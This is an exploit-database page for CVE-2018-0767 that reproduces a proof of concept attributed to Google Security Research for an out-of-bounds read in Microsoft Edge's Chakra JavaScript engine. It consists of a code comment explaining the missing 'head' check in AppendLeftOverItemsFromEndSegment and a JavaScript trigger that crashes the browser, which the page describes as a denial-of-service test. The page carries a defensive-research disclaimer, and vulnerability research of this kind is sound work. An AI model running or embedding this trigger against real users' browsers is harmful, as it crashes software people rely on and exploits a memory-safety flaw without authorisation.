Materialized exploit

CVE-2018-0767

MEDIUM

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl.

growby = endSeg->length;
current = current->GrowByMin(recycler, growby);
CopyArray(current->elements + endIndex + 1, endSeg->length,
    ((Js::SparseArraySegment<T>*)endSeg)->elements, endSeg->length);
LinkSegments((Js::SparseArraySegment<T>*)startPrev, current);
if (HasNoMissingValues())
{
    if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
    {
        SetHasNoMissingValues(false);
    }
}

In the "ScanForMissingValues" method, it uses "head". But it doesn't check the grown segment "current" is equal to "head" before calling the method.
I guess it shoud be like:
if (current == head && HasNoMissingValues())
{
    if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
    {
        SetHasNoMissingValues(false);
    }
}
*/

function trigger() {
    let arr = [1.1];
    let i = 0;
    for (; i < 1000; i += 0.5) {
        arr[i + 0x7777] = 2.0;
    }

    arr[1001] = 35480.0;

    for (; i < 0x7777; i++) {
        arr[i] = 1234.3;
    }
}

for (let i = 0; i < 100; i++) {
    trigger();
}